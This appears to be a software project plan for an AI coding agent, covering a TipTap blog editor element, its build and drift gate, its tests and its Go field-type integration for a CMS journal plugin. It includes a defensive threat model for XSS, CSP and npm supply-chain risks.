Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
|
||||
|
||||
Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
|
||||
|
||||
Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3).
|
||||
|
||||
Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
|
||||
|
||||
Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go. Commits: "build(editor): blog editor JS build and drift gate" (package files, configs, script, .gitignore), "feat(editor): blog editor element with exact untouched value" (source, tests, dist, admin.go).</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/smoke.test.ts && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a smoke case fails (the untouched value differs from the fixture, or summer-change fires without an edit), check-dist prints "check-dist: assets/dist is stale", go vet fails (for example the embed pattern matches no file), or the classes or controllers tests fail.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -c "golem15-journal-blogeditor" ../sm-journal-plugin/assets/dist/blogeditor.js` prints a number of at least 1.
|
||||
- `grep -n "assets/dist/blogeditor.js" ../sm-journal-plugin/admin.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin check-ignore node_modules` prints node_modules.
|
||||
- `grep -cE "eval\(|new Function\(" ../sm-journal-plugin/assets/dist/blogeditor.js` prints 0 (admin CSP script-src 'self'; the bundle is minified and has no comments to filter).
|
||||
- smoke.test.ts passes its four cases on the imported-post fixture.
|
||||
</acceptance_criteria>
|
||||
<done>The element is built, committed and embedded; an untouched imported post round-trips byte for byte and only user edits emit summer-change.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion: preservation schema and serializer, toolbar features, image upload and YouTube embeds</name>
|
||||
<reversibility rating="costly">D-05: the embed placeholder markup becomes stored content in live posts and the layer's renderer depends on it; changing it later needs a content migration and a layer release.</reversibility>
|
||||
<files>../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/assets/src/blogeditor/element.ts (Task 2 state), ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/node_modules/@tiptap/starter-kit/src/starter-kit.ts (option names), ../sm-journal-plugin/node_modules/@tiptap/extension-table/src (TableKit and renderHTML), ../sm-journal-plugin/node_modules/@tiptap/extension-image/src/image.ts, ../sm-journal-plugin/node_modules/@tiptap/extension-link/src/link.ts (isAllowedUri, HTMLAttributes), ../sm-journal-plugin/classes/format_html.go (CheckHTML patterns), ../sm-journal-plugin/README.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Pattern 4, Pitfalls 1-3, Security Domain)</read_first>
|
||||
<behavior>
|
||||
- rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
|
||||
- Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
|
||||
- Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
|
||||
- Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
|
||||
- Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
|
||||
- Links: javascript: URLs are refused by isAllowedUri.
|
||||
</behavior>
|
||||
<action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
|
||||
|
||||
extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2; Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
|
||||
|
||||
serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
|
||||
|
||||
embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
|
||||
|
||||
Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
|
||||
|
||||
Tests: extend tests/blogeditor/smoke.test.ts with one case per behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder and the upload flow. Commit as feat(editor) with the dist and README, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/tsc --noEmit -p ../sm-journal-plugin && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: tsc reports a type error, any vitest case fails (untouched round trip, block reuse, rawHtml text card, attribute preservation, tables, links, embed parsing and round trip, upload flow), check-dist prints "check-dist: assets/dist is stale", or go vet fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function serializeDocument" ../sm-journal-plugin/assets/src/blogeditor/serializer.ts` and `grep -n "export function parseEmbedUrl" ../sm-journal-plugin/assets/src/blogeditor/embed.ts` each print one line.
|
||||
- The vitest run reports every case passing, including the block-reuse case (only the edited paragraph differs) and the embed round trip producing the exact placeholder.
|
||||
- `grep -c "data-embed" ../sm-journal-plugin/assets/dist/blogeditor.js` prints at least 1, and the dist matches a fresh build (check-dist passes).
|
||||
- `grep -oE 'summer-(upload-result|upload|change)' ../sm-journal-plugin/assets/dist/blogeditor.js | sort -u | wc -l` prints 3 (the bundle uses all three fixed element contract event names shared with plan 01).
|
||||
- README.md has a "Blog Editor" heading.
|
||||
</acceptance_criteria>
|
||||
<done>Edited documents keep unknown markup and unedited blocks, the toolbar covers text, links, tables, images, embeds and raw HTML, and images upload through the SPA contract.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| stored post HTML → admin editor DOM | imported or previously saved HTML is parsed into the editor inside the admin origin |
|
||||
| editor → SPA (events) | the element hands files and values to the SPA; the SPA owns the session |
|
||||
| npm registry → plugin build | the editor packages enter the committed bundle |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-09 | Elevation of Privilege (admin XSS) | rawHtml node view | high | mitigate | The card renders the stored source with textContent, never innerHTML; ProseMirror parses through the schema, so script is never a node; a test asserts a rawHtml with an onerror attribute creates no img element in the editor DOM |
|
||||
| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value passes CheckHTML in the plan 03 Decode on every locale (D-10), and the 422 message is shown on the field |
|
||||
| T-16.2-11 | Tampering | link mark | medium | mitigate | Link keeps TipTap's default isAllowedUri, which refuses javascript: URLs; a test covers it |
|
||||
| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
|
||||
| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
|
||||
| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: registry report printed and a human approved the packages.
|
||||
- Task 2: smoke tests, check-dist, go vet and the classes and controllers tests pass.
|
||||
- Task 3: typecheck, the full vitest suite, check-dist and go vet pass.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-01, D-03 (client half), D-04, D-05 (editor half), D-13 (element half), D-16 and D-18 (editor half) delivered in sm-journal-plugin with a committed, embedded bundle and a drift gate.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md` when done, with the package report, the human reply, the installed versions, the commit hashes and the bundle size.
|
||||
</output>
|
||||
@@ -0,0 +1,274 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.2-01", "16.2-02"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/api/media_test.go
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
autonomous: true
|
||||
requirements: [D-02, D-03, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
|
||||
estimate:
|
||||
tokens: 80000
|
||||
raw_tokens: 80000
|
||||
tasks: 2
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-08 and D-14: Journal registers the field types blogeditor and mlblogeditor (element golem15-journal-blogeditor, script assets/dist/blogeditor.js, style assets/dist/blogeditor.css) on the plugin; post content in models/post/fields.yaml is type mlblogeditor; excerpt keeps mltextarea."
|
||||
- "D-10: Decode accepts only a string, runs classes.CheckHTML on it for every locale cabana hands it, and refuses with a pact.FormFieldError (422 on content) without rewriting anything; no sanitizer dependency is added."
|
||||
- "D-02: an admin save that writes content stores the same HTML in content_html for that locale: the host column through FormBeforeCreate/FormBeforeUpdate, a non-default locale through FormAfterCreate/FormAfterUpdate and the translation writer; the admin path no longer runs goldmark (FormatHTML) on content."
|
||||
- "D-03 (Journal half) and todo journal-imported-html-admin-resave: a save that does not write content (cabana skipped it as untouched) leaves content and content_html byte-identical."
|
||||
- "D-07 (assumption A1): Load serves content when its first non-whitespace character is '<'; otherwise (a markdown post) it serves that locale's content_html, and FormatHTML(content) when content_html is empty; there is no format flag and no new column."
|
||||
- "D-09: POST and PUT /_journal/api/v1/posts keep markdown content with FormatHTML-rendered content_html, and POST /_journal/api/v1/media/upload keeps its response shape and validation messages."
|
||||
- "D-19: category content uses blogeditor (not translatable, matching the Go model and the frozen PHP tree); the CheckHTML gate in the Categories controller's FormBeforeCreate/FormBeforeUpdate stays."
|
||||
- "D-18 (Journal half): the blogeditor and mlblogeditor Upload stores an image through the media storage extracted from the public upload route (same key layout /journal/<folder>/<name>, same unique suffix, same public URL), accepts only jpg, jpeg, png, gif and webp whose first bytes sniff as that image type, at most 10240 KiB."
|
||||
- "D-05: the embed placeholder from plan 02 passes CheckHTML unchanged."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/classes/blog_editor.go"
|
||||
provides: "BlogEditorTypes, LooksLikeHTML and the Decode/Load/ListValue/Upload funcs"
|
||||
contains: "func BlogEditorTypes"
|
||||
- path: "../sm-journal-plugin/classes/media_store.go"
|
||||
provides: "StoreMedia shared by the public upload route and the editor Upload"
|
||||
contains: "func StoreMedia"
|
||||
- path: "../sm-journal-plugin/field_types.go"
|
||||
provides: "Plugin.FormFieldTypes (pact.HasFormFieldTypes)"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "../sm-journal-plugin/models/post/fields.yaml"
|
||||
provides: "post content on the Blog Editor"
|
||||
contains: "mlblogeditor"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
|
||||
to: "cabana.FieldWritesFromContext"
|
||||
via: "content_html := the written default-locale content"
|
||||
pattern: "FieldWritesFromContext"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go FormAfterUpdate"
|
||||
to: "cabana.TranslationWriter.WriteTranslated"
|
||||
via: "content_html per written non-default locale (RESEARCH Pitfall 7)"
|
||||
pattern: "content_html"
|
||||
- from: "../sm-journal-plugin/controllers/api/media.go UploadMedia"
|
||||
to: "../sm-journal-plugin/classes/media_store.go StoreMedia"
|
||||
via: "extracted storage, response unchanged"
|
||||
pattern: "StoreMedia"
|
||||
prohibitions:
|
||||
- statement: "classes.CheckHTML is never relaxed (no iframe or host allowlist) and nothing on the admin path sanitizes or rewrites content."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The public Journal write API and the public media upload route keep the PHP contract: request fields, response shapes and messages do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No per-post format flag, new column or migration is added for HTML versus markdown posts."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores HTML in both columns without goldmark; editor uploads reuse the existing media storage.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
|
||||
- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
|
||||
- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
|
||||
- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
|
||||
- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` on PHP exports; it is not a form save and stays gated by FormatHTML's rejectUnsafe.
|
||||
- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`.
|
||||
- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
|
||||
- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
|
||||
- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed` (en and pl).
|
||||
- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
|
||||
- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`.
|
||||
|
||||
<objective>
|
||||
Wire the Blog Editor into Journal: field types, Decode/Load, post and category fields, admin save hooks and editor uploads (D-02, D-03, D-05 to D-10, D-14, D-18, D-19).
|
||||
|
||||
Purpose: Journal post and category content are edited with the Blog Editor, and an admin save keeps imported HTML intact.
|
||||
Output: classes/blog_editor.go, classes/media_store.go, field_types.go, hook changes, fields.yaml switches, lang keys, updated Docker tests, smoke tests, README.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/todos/pending/journal-imported-html-admin-resave.md
|
||||
@.planning/todos/pending/cabana-richeditor-field-type.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is 03907ee; acceptance checks below diff against it.
|
||||
|
||||
No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).
|
||||
|
||||
<interfaces>
|
||||
From plan 01 (pact and cabana, see 16.2-01-SUMMARY for the final names):
|
||||
|
||||
```go
|
||||
type FormFieldType struct { Name, Element string; Translatable bool; Scripts, Styles, Options []string
|
||||
CheckOptions func(map[string]any) error; Decode, Load func(context.Context, FormFieldValue) (any, error)
|
||||
ListValue func(any) string; Upload func(context.Context, FormFieldUpload) (FormFieldUploadResult, error) }
|
||||
type FormFieldValue struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Locale string
|
||||
Default bool; Value any; Translated func(attribute string) (string, bool, error) }
|
||||
type FormFieldUpload struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Filename string; Body io.Reader }
|
||||
type FormFieldError struct{ Messages []string }
|
||||
// cabana
|
||||
type FieldWrite struct { Locale string; Default bool; Value any }
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool)
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*cabana.FormSchema, error)
|
||||
func TxFromContext(ctx context.Context) (*gorm.DB, bool)
|
||||
type TranslationWriter interface { /* DefaultLocale, EnabledLocales, WriteTranslated(ctx, tx, model, field, locale, value), TranslatedExact */ }
|
||||
```
|
||||
|
||||
Journal code to change (read before editing):
|
||||
- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
|
||||
- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus CheckHTML 422; stays as is (D-19).
|
||||
- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
|
||||
- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
|
||||
- `classes/format_html.go`: `FormatHTML(src string) (string, error)`, `CheckHTML(doc string) error`.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: post content on mlblogeditor end to end (types on the plugin, fields.yaml, Decode with CheckHTML, Load with D-07, both columns written by the hooks)</name>
|
||||
<reversibility rating="costly">D-02 and D-11: every post saved from the admin becomes HTML content (moving back needs an HTML-to-markdown migration), and the aliases blogeditor and mlblogeditor end up in fields.yaml files that a rename must edit.</reversibility>
|
||||
<precondition>16.2-01-SUMMARY.md and 16.2-02-SUMMARY.md exist; `go -C ../sm-journal-plugin build ./...` succeeds against the current ../summercms.go working tree and ../sm-journal-plugin/assets/dist/blogeditor.js exists.</precondition>
|
||||
<files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/field_types.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md (final identifiers), ../summercms.go/modules/pact/capabilities.go (FormFieldType and friends), ../summercms.go/modules/cabana/tx_context.go (FieldWritesFromContext, WithFieldWrites, TxFromContext), ../summercms.go/modules/cabana/field_ml.go (TranslationWriter), ../summercms.go/docs/backend/field-types.md, ../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/admin.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go, ../summercms.go/modules/cabana/locale_order_test.go (recording TranslationWriter style), ../summercms.go/modules/bouncer/context.go (WithUser)</read_first>
|
||||
<action>Make one post-content save path work end to end on the new types (per D-02, D-03, D-07, D-08, D-10, D-14).
|
||||
|
||||
classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10): a non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; CheckHTML(text) failing is a FormFieldError with the error text (the message category content shows today); otherwise it returns the string unchanged. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
|
||||
|
||||
field_types.go (root package): (p *Plugin) FormFieldTypes() []pact.FormFieldType returns classes.BlogEditorTypes with a lazy accessor of p.app, plus the compile-time assertion that *Plugin implements pact.HasFormFieldTypes.
|
||||
|
||||
models/post/fields.yaml: content becomes type mlblogeditor with htmlColumn: content_html and uploadFolder: posts (D-08); excerpt and every other field unchanged.
|
||||
|
||||
